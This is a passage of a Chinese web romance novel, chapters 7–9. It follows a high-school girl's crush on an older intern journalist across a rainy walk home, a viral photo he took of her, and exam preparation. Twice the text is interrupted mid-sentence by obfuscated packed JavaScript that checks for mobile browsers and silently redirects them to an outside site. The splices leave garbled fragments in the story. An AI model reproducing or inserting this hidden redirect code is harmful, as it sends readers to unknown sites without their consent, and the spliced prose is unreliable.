《遥远的回信》 7. chapter 07 风雨的气息随着男生高大的身躯一并裹挟进屋来。 榆市近期雨水颇多,徐暮枳身着深卡其薄夹克,头上带着一顶鸭舌帽。鸭舌帽略有湿濡,应是被他拿去挡了风雨。 余榆猜想,也许是上山下村,抱着机子在乡间穿梭走访过。否则鞋底沾染的些许泥泞,和衣角的碎叶很难说清楚。 不过他精神头看上去挺好,因为与她视线交汇后,他扬起了唇:“余榆?” 余榆喜欢他叫自己的名字。 不止是他陈词的腔调好听,更大的原因,是她可以混淆地默认他是在叫自己的小名——“鱼鱼”。 她也很诧异自己竟会有这样的痴想。放在曾经,这是她最无法理解的幻想症候,既无聊又不可理喻。然而当事情真正发生在自己身上,却又乐在其中不可自拔。那心态简直两模两样,神奇而无解。 它就类似于,三秒后,余榆开始难受起自己今天穿的校服,是她认为的最丑的那一套。 那件深蓝色的、版型普爆的、胸前绣着橙色的一中校徽的夹克外套。 榆市这个季节早晚温差大,有时候上午冷飕飕,到了中午却热起来。恰逢今天有体育课,余榆里面只穿了一件白色的短袖T恤。 这么一搭,简直普得芸芸众生,毫无亮点。 她后悔自己怎么没想起脱掉外套,或者换上一件更亮眼抬人的衬衫也好。 大意失荆州啊…… 她心中微颓懊恼,面上却明朗得很:“小叔饿不饿?有鸡汤噢。我特意送来给你……们喝的。” 小姑娘生来就有一把甜甜糯糯的嗓子,乖起来的时候,更是讨巧得不可言喻。 徐暮枳这等在外向来不着调又极闹腾的男生,好似天生就待这样的妹妹没有抵抗力。他眉梢染了一丝笑,走过去顺手揉了一把余榆的头发,质感松松软软的,像新嫩柔顺的草芽。 他的动作很自然,抓了一把后没再停留,就像长辈对待晚辈:“雪中送炭啊。那我洗个手去。” 余榆颔首,眼睛却不由跟着他。 徐爷爷从后面来,拍了拍她的肩膀,示意她上桌吃饭,玩笑道:“再不去徐新桐可就吃完了。” 余榆转首,那厢的徐新桐果然已经大快朵颐,美滋滋地眯起了眼。 徐爷爷不是徐新桐,稍有不慎便能被瞧出来,余榆没敢耽搁,照着徐爷爷的话便坐下。 徐爸徐妈常年居于深圳经商,徐家人只有爷爷、徐新桐和徐暮枳三人。 徐暮枳在爷爷面前不比在外面时的懒散随意,徐新桐更是敬重爷爷不敢造次,是以徐家桌子上的氛围不如余榆家中嬉笑融洽,个个稳重端庄得不行。 就连说话都多了丝严肃会谈的意味。 譬如。 徐暮枳随口提起今天下乡拍摄记录乡村小学志愿扶贫活动,老师们都特别喜欢那种爱表现的、会说话的孩子,一场绘画课下来,逗得老师、记者、领导们哈哈大笑。 后来徐暮枳休息的空隙里,无意发现班级角落里还有个不爱说话的、羞于镜头表现的女娃娃,她才是整个班里最有绘画天赋的。若是社会资助人能瞧见,今后的路也能更好走。 可惜就连观众也更偏爱那种会来事、幽默风趣的孩子。 这时候徐爷爷就顿了顿,问道:“后来呢?有给这小孩镜头么?” 徐暮枳说有。 奈何小女娃实在不爱说话,他只能举着相机多给些画面,也疏通过后期剪辑大哥,拜托多些赞美陈词。 徐爷爷:“那就好。记者是信息传播者,你的镜头和笔要对准需要它的人,不能同流合污,搞那些乱七八糟的。” 徐新桐附议:“对头!” 余榆:“……” 插不了半句。 她唯一知道的仅仅是——记者的那根笔杆子可以是为政绩宣扬、造势的东风,但更可以是刺向诸多不公的尖刀。 再多的也不了解了,能与她相伴的只有旁边乖乖蹲坐守候的阿福乖猫。 吃完夜宵,徐爷爷将保温盒洗得干干净净还给她。临走前又给余榆塞了一大包竹荪,让她带回家和爸妈慢慢吃。 “李老师带班、余警官值班,两个人都辛苦着呢,”徐爷爷笑眯眯地说道。抬头看了看窗外,发现不知何时雨势变大,于是唤来徐暮枳:“小暮,你快送余榆回去,带把伞。” 徐暮枳没多说,起身从柜子里拿出一把蓝色大伞,示意爷爷放心,而后开门,走进风雨里:“走吧。” 余榆眼里亮晶晶的,同爷爷告了别,便快步跟了上去。 外面的世界淅淅沥沥。 白灯笼罩,雨丝飞舞。树叶表层泛着清凌凌的光波,雨水顺滑而下,噼里啪啦打在伞顶。 这一段没几步路,余榆借着天黑看不清脚下水凼为由,走得很慢很慢。 但徐暮枳耐了心,稳撑着伞,陪她龟速缓行。 气氛干巴巴的,可怜从方才上桌吃饭到现在,余榆都没能与他说上话。 总要找点什么话题。 余榆略思索一番后,果断选择最想问的那个:“小叔现在工作忙吗?” “还行。” 他一实习生自然担不了太大重责,也就成天跟着摄影大哥混经验。虽时常需要扛着大炮深入偏僻山区,但主任给他分配的这位摄影大哥却是个技术牛人,在台里有实力有底气,敢直接叼主任和台长的。 听他这么一调侃,余榆轻轻笑起来。 “小叔每天下班都这么晚吗?” 要是每天都这么晚,说不定偶尔放学回家,故意拖慢点,还能在路上偶遇他。然后两人就能如今晚这样聊着天,慢慢走回家。 美哉。 可徐暮枳却说:“看缘分,有时候片子来了,加班到凌晨也不是没可能。” 余榆噢了一声,心底里却泄了点气。然而不过片刻,又开始祈祷徐暮枳能早些下班,十点左右正好与她汇聚在这里。 哪怕十天里有三四天也行。 淅淅沥沥。 满世界都是雨声。 雨滴持续拍打在雨棚,也敲打在头顶的伞上。雨水拧成一股,蜿蜒直下,滴在男生伸在伞外的肩膀。 他斜撑着伞,她抱着竹荪。 竹荪很大一包,也将她挤出了伞外。 一阵风吹过来,雨丝伴着风飘到她的脸颊上。余榆还不及反应,下一秒,一双温暖干燥的手悄无声息间伸过来,轻轻一拉,将她带到了他的身侧去。 离得更近了。 余榆鼻翼间嗅到他身上清冽的味道。 彼时懵懵懂懂,不知那是男生每日清早会用的胡须水的味道,还单纯地以为是他喷洒的香水,亦或是皂粉的香味。 心跳与呼吸都紊乱了。 仓皇间,她低下头,唯恐他看见自己骤然间绯红起来的脸。 她太过紧张,以至于都忘了,这一路昏黑无灯,他其实看不清任何东西,也没兴趣注意她的任何举动。 包括她小到不值一提的神色。 “到了。”他提醒道。 平平淡淡的声调,蕴满了温磁的底色。 余榆略滞,抬头。 楼道口前一盏孤零零的白炽灯,这无人问津的时刻,正独自发着光。 “那……小叔再见。” “再见。” 余榆抱着竹荪,慢腾腾往前走了几步。刚进楼梯口,却又忽然回身。 徐暮枳果然还站在那里,颀长的身形立在风雨中,撑着伞,静静目送着她。 她看定了神,张张口,似乎想说什么。 “怎么?” 他见她不对劲,询问道。 余榆踌躇了一下,然后郑重道:“小叔,晚安。” 男生闻言微怔,倏而轻笑,颔首:“晚安。” 关于人际这方面,余榆其实很清醒。 徐暮枳一定知道自己是喜欢他的,即使这种喜欢在他的理解里,与徐新桐的喜欢没什么差别。 但她想,他回馈了,回应了,那就说明他也是喜欢她的。就算只是一个小叔对侄女的喜欢,亦或是欣赏。 她也没敢想别的,就觉得,都行。 -- 那晚的雨仿佛是开了一道闸,此后连续一周榆市都阴雨绵绵。 这个季节最令人讨厌了。 没完没了的雨,天幕有化不开的云。 许多市民们都不爽快,个个都憋着一口闷气上班、上学,咒骂这天气的诡异。 李书华好几天早上出门也骂过这鬼天气,早读的时候余榆也听见后座好几个同学叹息埋怨这望不见头的雨天,害得大家连体育课都没法上。 余榆解题的空隙望了望窗外,厚厚的云雾包裹,透不过气地难受,连带着大家伙儿的情绪都低了几档。 可这天气年年如此,榆市人民也早习以为常。 近日多雨,所以余榆和徐新桐上学放学都是李书华开车接送,她也没能再偶遇徐暮枳。 不过即使李书华不接送,余榆大概也碰不着他。据说他被安排出差,去榆市东区的乡镇里拍摄纪录片了,东区遥远,这段时间大概都不在榆市。 于是余榆又度过了繁忙而平淡的一周。 一中教学松紧结合,每周四有固定的社团活动,徐新桐喜欢混在动漫社,而余榆却只能与褚浩言待在竞赛班里接受学习的洗礼。 老余和李书华的管理相比榆市的多数精英式家长们更为宽松。夫妻俩一致认同快乐教育,虽明知余榆偏科严重,却也没过多强求她疯狂补课。相反,在许多方面都给予了余榆最大的自由和选择,最大程度发挥着她的天性与天赋。 当然,这也令她的弱势项目更加弱势。 主课成绩在自主招生里非常重要,然而三门主课里,她有两门都差点意思。可余榆的精力只够报个阅读班,因为学一天语文,她脑子会直接宕机。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846611|191377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李书华觉得这样不行,为此当初特意拉了个图表,将她往年的所有成绩、选定目标院校的历年分数线尔尔,全都杂糅在一块同步分析,最后一锤定音,敲下了余榆的高考目标—— 北协和南中山,就从这两个中选一个。 冲一把能上协和,冲不了,保底也有中山。 而协和竞争激烈,竞赛要求更高,所以明年高二生物联赛和决赛很关键。 彼时余榆正值高中入学,听完李书华一通利害分析,挠挠头,真诚地提醒,并希望自家母亲能清醒清醒:“妈,我入学考语文80。” 年级倒数第十哎。 李书华:“……” 一边是数学144,理综291;一边是语文82,英语80。 谁来看了都要问一句这孩子是不是和语文英语老师结了血海深仇。 就连当初淡定如斯的鳌拜看了她这成绩也觉得稀奇,直接将余榆划进了重点监管对象,时不时鞭笞敲打,压得余榆时而如履薄冰。 可李书华却并不担心,态度也颇有几分自信与豁达,鼓励余榆勇敢试一试。 “如果总有一个人能考上,那个人凭什么不能是你?” 余榆当时觉得荒谬。 然而一年后的今天,她瞧着自己突飞猛进的竞赛成绩与蒸蒸日上的偏科成绩,又不得不佩服起李书华的睿智与教子有方。 竞赛班下课后,余榆老远就看见了褚班长,长条条的一个人,皮肤白皙戴着眼镜,看着就是个素养极好的学霸。 她热情地打了个招呼,褚班长不知是没瞧见还是故意,没搭理她。 嘿! 真冷。 余榆自讨了没趣,转头回班,收拾好东西准备回家。 李书华今日提前回了家,徐新桐要和动漫社的同友们玩,也陪不了她,今天她得自己一个人。 出了校门,还没上公交,天空又开始下起细蒙蒙的雨。 余榆被淋得有些郁闷,正要取出书包里的伞撑上,眼角余光却一闪,感知到有一人慢慢靠上来。 她回头瞧了一眼。 是褚浩言。 恰逢此时公交车来了,降下速度,缓缓开进了站。 好歹也是面冷心热全班敬爱的班长大人,余榆冲他歪了歪头,眨眨眼。等到引起对方的注意后,又笑嘻嘻地冲他挥挥手,打了今晚第二个招呼:“班长?拜拜~” 而后没等褚浩言应答,脚一迈,头也不回地上了车。 褚浩言的身影隐没在雨珠斑驳的霓虹里。 半个小时后再下车,雨似乎更大了些。 余榆仰天望着漆黑天幕,叹了口气,终于认命般拿出书包里的伞。 将伞靠在肩上,慢悠悠地踩着湿地往回家的方向走。 时间太晚,加之是雨天,路上行人不多。短短的一段路,除却几个匆匆擦肩而过的成年人,便只剩下余榆这么一只郁闷的小蘑菇。 她不喜欢急吼吼地赶路,更不喜欢满头大汗地追逐来追逐去。 她会始终保持自己的节奏,不会因为太阳很晒而狂奔躲避,也不会因为雨季霖霖而狼狈疾走,甚至班里安排理科学霸们限时解题时,她也能先顺手扎个头发、洗把脸,然后再慢慢思索。 仿佛天塌下来也照样是这么个不慌不忙的懒调; 仿佛天生就是个不瞎操心却又胜券在握的小丫头。 下过雨后的地面如同一面毛玻璃,任何灯光皆能在此映射出漫反应。 雨点破空而下,争先恐后地砸在脚边。倏然绽开的一瞬,如同无数玻璃球飞溅开来。透亮的球体折射着流光,在夜色中泛着莹润。 像烟花。 像……天上的神仙下在人间的烟花。 余榆被吸引,驻足观察了半晌,目光专注,气息凝滞。 过往车流阵阵,她不知想些什么,伫立不动。 蓦地,在雨点即将绽放为烟花的前一瞬,她跳上去踩住。 哈! 你鳌拜有一天也会被我余榆大王压在五脚山下! 余榆在湿地上蹦蹦跳跳,一踩一个解气,将这段时间在鳌拜那里受的骂通通发泄出来。 臭鳌拜臭鳌拜臭鳌拜臭鳌拜!让你压力我!让你封我做语文、英语课代表!! 正闹得不可开交,忽然,身后传来轻轻一声响。 咔嚓。 像快门闪动的声音。 余榆意识到有人,猛地停顿动作,狐疑回眸。 却看见不远处站着个黑色卫衣少年,为了遮雨,他戴上后面的卫衣帽,此刻正含着点碎笑,低头看着相机。 相机屏幕微弱的光线映照清男生秀挺的轮廓,修长的手指对着相机戳戳点点。 认出来人,余榆那杏仁一样的眼睛便骤然绽开一抹笑。 她收回脚,条件性反射地在原地轻轻蹦哒一下,雀跃唤道:“小叔!” 她真的在这里遇见他了! 8. chapter 08 徐暮枳在距离榆市三百公里外的牵柳镇待了整整一周。 这一周过得折腾。 他们每天清早开车都会从镇中心到村里走访拍摄,有一次遇上蛮不讲理的村民,对方误解政策,心生偏见,一顿破口大骂扫地出门,他只得抱着机子狂奔逃窜。 中午饿了,就在车里随便吃两口解决,下午还要去山野地里采景。彼时老谭蹲在村口,徐暮枳做助手,杵在那儿,像个兵。 他印象最深刻的,是从牵柳镇下村,交界口有段路特别烂。他和老谭早出晚归,早晨困顿,晚间疲乏,可回回经过都能被颠得五腹六脏团成团,脑浆咣咣摇动。 “这什么破路?”老谭第一天经过的时候被颠醒了瞌睡,如斯骂道。 后来他们才知道,这条路修了五年。每月赶集、客来客往,那些经过牵柳镇的、从村里往小镇上来回赶的乡亲们,就这样过了五年。 老谭没说话,徐暮枳却听得直蹙眉。 然而镇上的领导为人却十分热情,每晚都招呼镇上最好的餐馆炒上几个菜,将他们招待得妥帖又周全。老谭没直直捅破,他也没有逾矩。 直到最后一天,领导送他们回宾馆,顺口询问道:这趟来牵柳镇,感觉如何? 老谭这方面是个老油条,一顿夸赞民风如何淳朴、诸位领导如何诚心、牵柳镇的风景又是如何漂亮。 等到领导满意了,笑眯眯地点头了,老谭才直转而下,随口一叹:“就是镇口那条路,哎!我和我兄弟那叫一个坎坷。” 口吻意味深长。 听得几位领导纷纷变了脸。 第二天大清早离开时天蒙蒙亮,空气里还凝着露珠,雾气氤氲着大山。 他和老谭再次开车经过那条路,便看见那处竟然来了一队人,开着车,扛着机器和工具,正往上填水泥。 老谭多看了一眼,走出一段距离后才笑:“这就对咯~路修起来了,经济也就发展起来了。” 说完,又转头问他:“瞧,这牵柳镇的山景可美?” 徐暮枳其实没怎么留意,可他想着人都问了,至少也得意思意思,于是点了头,说美。 “是吧?这牵柳镇所属的区域未来可是东区的发展重心,你要是将来能留这儿,保不齐就青云直上。” 徐暮枳不敢苟同。可也没直说,只极为敷衍地说道:哎?也不是不行啊哥。 说完就挨了一闷扣。 老谭收回手,一脸恨铁不成钢:“年轻人,这么好的履历将来还是得去大报社。来这小地方电视台做什么?没前途的嘛。” “……” 他难得给气着,坐在副驾半晌没吭声。 此后回到台里就一顿瞎忙,那边要得急,片子得赶紧剪出来送审。老谭刚出完差回来,受不了这压榨,表面做了足功夫,十点不到就拉着他下班了。 然后一到家,就碰到了她。 余榆举伞快步走到他身边,替他挡着雨:“小叔这么快就出差回来了?” 她发现自己在他面前好像会变得与平日不太一样,会变得很乖,很小心翼翼地控制言行、管理表情。 她贪心地想留下一个完美形象,想让他尽可能多的记住自己。即使这在他眼里不过寻常,毫无波澜。 这厢徐暮枳嗯了一声,撩起眼,顿了顿,从她手中接过伞。 男生个子高,一米八五往上,余榆站在他身边时,不过将将抵及他的喉结处,仿佛光源都被他夺了去。 是以,二人同撑一把伞时,他总是得稍稍弯腰,往她的方向倾斜,方才不至于叫她淋着雨。 这把常备在书包里的伞并不大,以往她与徐新桐两个女孩子身体娇小堪堪够用,可若换成徐暮枳这样宽肩高个的男生,就会略有局促。 两人走路晃动,她的肩膀时不时会碰到他的胳膊。 衣料子微微摩挲而过。 很轻。 这样细微到不要紧的事情,徐暮枳自是没什么心思关注。只有余榆敏感到世界爆炸,提着心肝,想说点什么,却又不知从何下口。 最后是徐暮枳主动开了话题:“我记得你们快期末了?” “嗯。” “定期末目标了吗?” 余榆摇头:“没呢。” 后面那句“我爸妈对我没什么要求”被她硬生生吞了下去。 她觉得可能不太礼貌。 可停顿过于明显,还是引得徐暮枳回眸看了她一眼。 碰巧余榆也转头去,两人在伞下猝不及防地撞上视线。 余榆的眼睛很好看。 像干净清纯的白玉兰,但更像一面镜子,清澈到可以倒映出的他的影子。 小时候,父母尚未离异时,徐暮枳不止一次地渴望拥有一个这样的妹妹。 讨巧乖静,睫毛浓密,笑起来眼睛会有一轮弯月。会像个小尾巴一样跟在他身后“哥哥哥哥”地叫,然后他就会抱着自己引以为傲的妹妹,在自己发小同学面前招摇过市。 可惜没有后来。 他收回目光,淡笑一声。 眼里却渐渐蒙上一层幽意。 “小叔?” 身侧的人在轻轻唤他。 徐暮枳盯着脚下的梯坎,漫不经心地应了一声。 余榆望着前方即将到达的家门口,生出几分妄图拖延的心。 她低声道:“语文太难了,我老学不好。马上期末了,小叔可以借我笔记看看吗?能考上北大的语文,肯定比我好的。” 说到这里,她刻意顿住步子,侧身去正对他。 徐暮枳的脚步果然也跟着她一并停下来。 余榆承认自己就是借着学习事由来满足自己的私心。 笔记不重要,重要的是若他能借,这笔记本就会是一种连结——一种让她可以随时理直气壮去找他的连结。 她忐忑地等着他的答案,脑中却在不断地安慰自己:余榆没关系没关系,这种小事他肯定会答应的,一本笔记而已,又不是要人家的命,对吧? 然而下一秒,余榆一抬头,就借着昏黑的夜色,看清了他眸中的犹豫。 余榆心头咯噔一下。 果然,听他缓缓道:“抱歉,可能比起我的笔记,李老师的一对一教学见效更快一些。” “再说了——”他偏了头望住她,像是觉得稀奇:“语文,要什么笔记?” 对方玩弄着口吻,好似十分不解她竟会提出这样闻所未闻的要求。 那一刻余榆觉得自己在他的眼里,像个傻子。 以前老听徐新桐气骂徐暮枳这人如何过分狂妄,狗如哈士奇。余榆当时怎么都不信,这段时间接触下来更是觉得谬论。 然而此刻眼下,他的性子终于被幽幽夜色揭开一道小小的口子,余榆才终于品味出几分真谛。 难不成在与他相处时,她接触的都不是真正的他么? 余榆费解其原因。 见小姑娘瞪大了眼,呆呆地望着自己,徐暮枳笑意更甚,拍拍她后背示意她继续往前走,终于还是没忍心:“不过,你要是实在觉得困难,李老师又没空,就微信联系我。” “我看见了,就会回你。” 最后这句承诺颇有些郑重。 余榆被他践踏的心情略有好转。 她想了想,觉得也行。至少她得了一个口头令,不用愁到底要如何破了那微信聊天的冰。 徐暮枳还是将她送到楼道,离别前,余榆习惯性对他道了晚安。 与上次不同的是,这次余榆再回头,只瞧见了他的背影。 男生淋着雨,走得很快。倏而一晃,很快消失在漆黑的院子里。 夜里雨下得更大了些。 雨丝飘进楼道里,浸湿了少许干地。 她一个人站在空荡荡的楼梯上,瞅着那处早已无人的空地发了会呆,而后才轻轻拍了拍掌,唤起楼灯,慢慢往家走去。 李书华和余庆礼正在家里沙发上看电视,小两口今日难得有个清净的二人世界,一部家庭连续剧看得乐呵呵。 余榆进门时,听他们俩聊天聊得十分火热。见到她,也只简单招呼了声,便继续欢笑谈论。 “哎?是小暮送你回来的?”李书华忽然问道。 余榆心惊了一下,莫名地,竟有些做贼心虚。 她吞吐道:“啊……怎么了?” “我和你爸刚在窗口上看见了,你俩在小区门口站着说话呢,瞧着关系还挺好。” 一听这话,余榆心脏又被抓紧了几分,生怕她家这位最了解她的李女士看出什么端倪。 她背对着夫妻二人,大气不敢出,战战兢兢地放下书包:“……对,就是正好碰上了呢。” 李书华却好似压根没往那方面想,又偏头去同余庆礼说话,语气颇有些夸赞,细听还有些惋惜:“小暮这孩子,真不错。哎呀我是真喜欢。” 这句话,这些年已经不知从李书华嘴里听过多少次。可这都快二十年的夫妻,余庆礼还不知道李书华想什么? 他睨了一眼李书华:“死了这条心吧,余榆才多大呀?照徐爷爷那着急程度,恐怕这两年就给他操办了。” 旁边正鬼鬼祟祟想逃回屋里的余榆:“?” 自己这对父母开明得不像话。 可提及徐暮枳,本意遁回房间的余榆又悄然掉了头,在茶几旁默默蹲下,佯装吃葡萄喝牛奶,实则偷听八卦。 李书华诧异:“这么着急?小暮不还读书呢吗?” 余榆往嘴里塞了一颗葡萄,耳朵却跟着高高竖起。 余庆礼叹道:“你又不是不知道,徐爷爷身体越来越差了,光今年上半年就住了两回院。老爷子就怕自己没看见徐暮枳成家立业,自己就先撒手人寰,没办法和底下的老战友交代。” “啧……老爷子这身体,确实是一年不如一年了。” “可不。那你再想,小暮最重视的就是徐爷爷,你说要是徐爷爷让他去相亲,他会不去么?” “那倒是。啧……真可惜……” 夫妇二人沉浸其中,没注意旁边蹲着的小人神色复杂,嘴巴嚼着嚼着,就停了动作。 不知怎的,那颗葡萄放在嘴里,竟开始回起一股难以容忍的酸。 片刻后,她艰难吞咽下去,起身,拿起书包往房间里走。 父母的话她一字不落地全听进了耳里。 徐暮枳给予她的那些温意还覆在心头,就得知这样的消息,余榆很难去说清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846612|191377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己那一瞬间的感受。 复杂得恍若打翻的调味盘,酸的、咸的、辣的、甜的……冗杂在一起,刺激得人的味蕾格外难受。 而最要命的,是李书华和余庆礼却还在旁若无人地继续八卦。 “今后也不知是哪家姑娘这么有福气,小暮是真好啊,又体贴又懂责任。” 李书华说:“上回我和方芳从超市回来,买的东西多,回来的时候拎不动,正好碰上这孩子,人家二话不说就……” 心口终于是被那些话割得有点疼了。 “好吵!你俩声音小点,我要背单词了!” 终于,余榆忍不住了,从房间里冒头出来,硬生生打断了二人的对话。 余庆礼和李书华的声音戛然而止,不明所以地望着余榆,这个情绪不稳的奇怪的青春期少女。 余榆左右不是滋味,只能将心底那股不痛快通通归咎于那该死的英语,于是闷声低吼道:“我可是英语课代表哇!” 哪知余庆礼想也不想就果断护着媳妇儿:“英语课代表多大的官?能管我说话了?” 余榆:“……” 两面都吃着闷亏,气得她直接关上门。 那晚余榆郁闷了很久。 久到她开始怨恨这样阴雨绵绵的天气,将自己今晚的好心情通通作没。 可真的是天气原因吗? 余榆躺在床上睡觉时,往外瞧了一眼。 淅淅沥沥。 没完没了。 第二天醒过来没什么精神,余榆懒懒散散地赶到教室,第一件事儿便是趴在课桌上补觉。 昨夜思虑繁多,睡下时已经是后半夜。这样困,今天的早读是废了。 然而她终究是低估了自己。 整个早上她都没精打采不在状态,就连徐新桐的好几次暗送秋波都未曾搭理。 直到下午过去,晚饭时间,徐新桐元气满满地从门外进来,走到她旁边,拿屁股顶了顶她:“喏,给你带的卷饼,有你最爱的鸡蛋和鸡排,今天还给你额外加了烤五花肉噢。” 说着,将那个堪称满汉全席的卷饼拎起来,在余榆跟前晃悠了两三圈。 校外门店的小狮子卷饼是她们晚间的最爱。 十块钱的价格,有土豆丝、黄瓜丝、胡萝卜丝,还搅碎了煎蛋与其余单点小料,加上些许泡菜与葱花,最后混合酱料与辣香油搅拌,重重包裹,丰富到那张薄饼都有些包不住。 往日余榆说起这个便眼冒金星,开心得手舞足蹈。徐新桐看出她的不痛快,惯以为是她姨妈降临前期的心情低落,于是特意跑去校外买了这玩意儿哄她开心。 可那天,余榆却趴在课桌上,面对美味卷饼,眼神都没给一个:“吃不下,没胃口。” 徐新桐惊了个大奇,还以为她家鱼快不行了。 结果再一转头,就看见那边的余榆耷拉着脑袋,举起卷饼,往嘴里塞了满满一大口。 那一口包得严严实实,怕连咀嚼都有些困难。 徐新桐:“……” 这辈子到底什么时候才能饿着你? 徐新桐摇摇头,回了自己的坐翻看手机。 这会儿教室里没什么人,余榆安静而麻木地吃着晚饭,徐新桐也偷偷摸摸地玩着手机。 没几分钟,徐新桐不知看到什么,忽然飙了一声“我靠”。 余榆嚼巴着卷饼,这时候精神恢复许多,见徐新桐有异动,扭过身去探看。 一转头,对方的手机屏幕却直接怼到了她脸上。 徐新桐急疯了:“这是不是你?!啊我问你这是不是你?” 余榆后缩脖子,慢慢看清了手机屏幕的内容。 是榆市日报的官方微博号发布了一张高清拍摄的图片,竟引来大批网民的关注与点赞。 图片里的场地很熟悉,余榆一眼就看出那是他们家院子附近。 可待她彻底反应过来后,却瞳孔蓦然一缩,慢慢就怔在了那里。 那张图片拍得特别好,特别有生命力。 昏黄路灯的光折射在泠泠的雨花里,小姑娘穿着校服,撑着一把彩虹伞,正踩着雨花蹦蹦跳跳。 而摄影师选择定格在她起跳一瞬间——手臂自然舒展,脑后的马尾飞扬在半空,令榆市人最头疼的雨季此时却摇身一变,成了倒映着的烟花,一场黄金般的粒子雨,伴随着雨里的活泼少女,熠熠生辉地抓人眼球。 这样极具感染力与温度的图片,甚至可以最大程度宽慰近段时间榆市市民们因为糟糕天气而徒生的郁闷。 手中的卷饼不知何时放了下去。 她想起昨夜遇见徐暮枳时,听见的那一声轻微的咔嚓。彼时定格的画面,此刻正在她的眼前铺陈明朗。 那条微博的热度很高,因为这样富含疗愈效果的图片,有人为它配了一段诚意十足的文字。 【市气象台预报,本轮持续降雨将于下周逐渐减弱。近期出行请勤带雨伞,行车多一份耐心。多透气,多宽心。请相信,云层之上,阳光从未离开。最珍贵的晴朗,会诞生于最深的湿润之后。 请各位市民朋友们缓缓暂安,共等云雾散尽,盛夏降临。 实习记者:徐暮枳 摄影:徐暮枳】 9. chapter 09 清晨起床的时候,窗外的树枝湿漉漉,似乎又冒了几寸嫩绿新芽。 可与前几日不同的是,今天竟有一缕阳光铺照在了窗台。 房间外有轻微的拖鞋声,伴着阵阵油条豆浆的香味飘进房间里来。 余榆透过指缝,望着窗台那抹意料之外的金色阳光,愣了愣。 今年的夏季来得格外突然。 昨天还是阴云密布,一场雨后,气温陡升,初夏已现端倪。 没有犹豫,翻身起床。 一边放着BBC英语听力磨耳朵,一边洗漱、穿衣,慢慢吃完了李书华难得备下的早饭。 权威而疏离的英伦腔调听了半晌也还是迷迷糊糊。 不过张阿姨家的油条倒是美味。 “明天期末考,先预祝我们鱼鱼马到成功!” 说着,李书华将一根油条和两颗水煮蛋拨到盘子里,摆成“100”,示意余榆吃下。 虽然满分是150,但余榆还是很给面子地全吃光:“那也预祝李女士今年班里再出状元!” 李书华蓦地笑出声,一早的好心情就这样被余榆一句话轻易挑起。 余榆掐着时间穿着出门,走之前给徐新桐拎了一根油条和一袋热奶。 下楼时正好碰上刚通宵值班回来的余庆礼。 父女俩一上一下打了个照面,余庆礼眉毛一扬,将警帽往脑袋上一扣,两手往外撑,直接在楼道间截住了余榆。余榆往左,他往左,余榆往右,他也往右。就是故意拖延通勤时间。 眼看要错过班次,余榆急得拍打余庆礼。 是见到小丫头开始呜哇乱叫了,余庆礼才算玩够,一拍她后脑勺,放了行。 徐新桐在楼下也快急死了,两人一路玩命狂奔到轻轨站,在最后十秒的喧嚣里蹭上了车厢。 赶到教室,一进门就看见班里几个男生正放着迈克杰克逊的《Billie Jean》,戴着帽子扭动身躯,跳着那支经典爵士舞,自以为会帅到爆一般,神情陶醉。 唐丝雨就在旁边一个劲儿鼓掌,嗲着声,夸好帅好帅好帅好帅…… 而她们俩就伫立在门口片刻,把这一幕尽收眼底。 徐新桐:“你觉得帅吗?” 余榆:“我觉得像傻子。” 说完两人不约而同地举起手,互相击了个掌。 英雄所见略同。 临近期末,老师们一整天都不再怎么上课。 余榆几乎一天都在自习里度过。 翻书桌的时候,余榆从一堆试卷资料里瞥见被自己压在最底下的那本言情小说。 她顿了顿。 本是期末繁忙,上次买来后便没怎么好好看。也就那一次——从徐新桐家里出来,她郑重其事地将徐暮枳的照片夹在了最中央的书页里。 隐秘的照片,隐秘的小说,全都被她有意压在最不起眼的书堆底下。 这天余榆却将它装进自己的书包,准备暑假放在家里慢慢观摩。接着就看见鳌拜拎着关小谢的耳朵,一脚将他从外面踹进来。 关小谢没半点被抓回的羞耻,反而嬉皮笑脸地抱着一颗篮球,和身后一群兄弟们说着软话哄鳌拜开心。 徐新桐啧了一声,便转过头继续复习。余榆也笑,笑关小谢活该。 第二天就得考试,关小谢却一到课间就跑去操场打篮球。其他班的老师看见篮球场上还有人蹦蹦跳跳,还奇怪这关头怎么还有人这么不上心。结果定睛一看,好家伙,那不是十班的关小谢么?就算是班里艺体生多也不能这样闲散啊。 于是转头就告诉了鳌拜。 鳌拜古板又严肃,不压制他压制谁?当即果断出击,把关小谢从篮球场拎回了教室。 唐丝雨课间故意路过徐新桐课桌,轻飘飘留下一句:徐新桐,你家关小谢又被罚站了噢。 徐新桐:“……” 直到那天晚上放学回家,徐新桐都一直在骂唐丝雨眼瞎。 谁说关小谢是“我家”的?凭什么关小谢就是“我家”的了?!草!! 余榆一个劲儿笑。 分别的时候,她还是决定说道:“关小谢打算学文了你知道吗?” 徐新桐一愣:“我不知道啊……他有病吧,理科那么好,学什么文?” 余榆耸肩,表示不知道。 不过关小谢迟早都要出国的,学文学理无所谓啦。 “再见啦亲爱的徐新桐。”余榆想回家再复习复习背背单词,并不打算在这里继续耗下去,是以挥挥手道:“这次我要超越自己,请你的小叔祝福我噢。” 一提小叔,徐新桐立马哈哈大笑,手舞足蹈地叫道你放心,小叔肯定祝福咱俩!! 余榆钻进楼道,飞快地跑回家。 进房间后便锁上门,把书包里的复习册全部掏出来,包括那本小说。 